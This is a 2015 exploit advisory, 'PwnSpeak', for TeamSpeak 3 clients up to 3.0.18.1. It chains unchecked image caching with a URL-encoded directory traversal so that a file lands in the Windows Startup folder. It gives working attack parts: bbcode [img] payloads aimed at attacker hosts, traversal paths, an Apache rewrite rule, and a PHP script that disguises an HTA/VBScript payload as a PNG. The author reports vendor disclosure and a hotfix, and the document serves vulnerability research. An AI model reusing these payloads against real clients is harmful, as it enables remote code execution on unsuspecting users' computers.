Exploit Title: "PwnSpeak" a 0day Exploit for TeamSpeak Client <= 3.0.18.1 RFI to RCE
Date: 12/10/2015
Author: Scurippio <scurippio@anche.no> / (0x6FB30B11 my pgp keyid)
Vendor Homepage: https://www.teamspeak.com/
Application: TeamSpeak 3
Version: TeamSpeak3 Client 3.0.0 - 3.0.18.1
Platforms: Windows, Mac OS X and Linux
Exploitation: Remote
Risk : Very High
=========
The Bug
=========
The bug is a simple but Critical RFI(Remote File Inclusion), and in my test case on "Windows" you can reach remote code execution.
By changing the channel description you can insert a [img] bb tag with malicious content.
There are a few problems with the image caching on disk.
1: There is no check on file extension.
2: There is no file renaming, and you can fake the extension so you can create in the cache a malicious executable file like hta, scr, msi, pif, vbs etc.
Example:
[img] http://yourevilhost.com/thefile.hta [/img]
[img] http://yourevilhost.com/thefile.msi [/img]
[img] http://yourevilhost.com/thefile.vbs [/img]
...
3: Teamspeak 3 Client saves the image and recreates the same directory structure as the server where it's hosted.
Example:
C:\Users\YourUser\AppData\Roaming\TS3Client\cache\remote\yourevilhost.com\thefile.hta
C:\Users\YourUser\AppData\Roaming\TS3Client\cache\remote\yourevilhost.com\thefile.msi
C:\Users\YourUser\AppData\Roaming\TS3Client\cache\remote\yourevilhost.com\thefile.vbs
...
4: It is possible to do a Directory Traversal with a simple urlencode of the traversal path bypassing the built-in control.
This is the critical hole, if you combine the previous vulnerabilities you can save a malicious file in any path on the OS with the same permissions as Teamspeak client.
Example:
[img]http://evildomain.com/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDesktop%5cOwnedByNonnOreste.hta[/img]
If you set this bbcode on a channel description every user that sees it will download a file named "OwnedByNonnOreste.hta" on their Desktop with 0byte, you can also put images or other file extension!
The built-in image fetcher in the Teamspeak client checks the content type and the file header to check if the response is a real image, but you can easily bypass this control and put your exploit payload.
==========================================
Bypass / Vector / Payload
==========================================
To bypass the control and put arbitrary data in your malicious file you only need a web server and you can easily set the Rewrite rule for the Exploitation.
Example:
RewriteEngine On
RewriteCond %{REQUEST_URI} !/faker.php
RewriteRule .* /faker.php
Then you need to write a simple php script to fake the payload as a png by sending the right content type and file header.
Example:
<?php
header ('Content-type: image/png');
echo "\211PNG\r\n\032\n";
?>
<html>
<head>
<title>PWN3D</title>
<HTA:APPLICATION
APPLICATIONNAME="OwnedByScurippio"
ID="SnappySnappySna"
VERSION="1.0"/>
<script language="VBScript">
Sub RunProgram
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
End Sub
RunProgram
</script>
</head>
</html>
If you save the file in the windows startup directory you can achieve a remote code execution.
Example:
[img]http://example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cRoaming%5cMicrosoft%5cWindows%5cStart%20Menu%5cPrograms%5cStartup%5cWelcomeAndOwnedByNonnOreste.hta[/img]
[img]http://example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cRoaming%5cMicrosoft%5cWindows%5cStart%20Menu%5cPrograms%5cStartup%5cWelcomeAndOwnedByNonnOreste.hta[/img]
The HTA file is a prefect vector for this exploit, you can execute trusted vb script (shell command or anything else) and the png header doesn't compromise the markup language syntax.
At the next OS boot the victim will execute the malicious HTA file.
=======
Fix
=======
Update to beta channel or wait the 3.0.18.2 hotfix for this exploit!
======
Info
======
10/20/2015 - I have reported this Vulnerability to Teamspeak developers team
********* - Release the public exploit
- Fuck the 'Captatori' - Tracciabili
(Snappy is always with you :P )
Copyright (c) 2015 Scurippio
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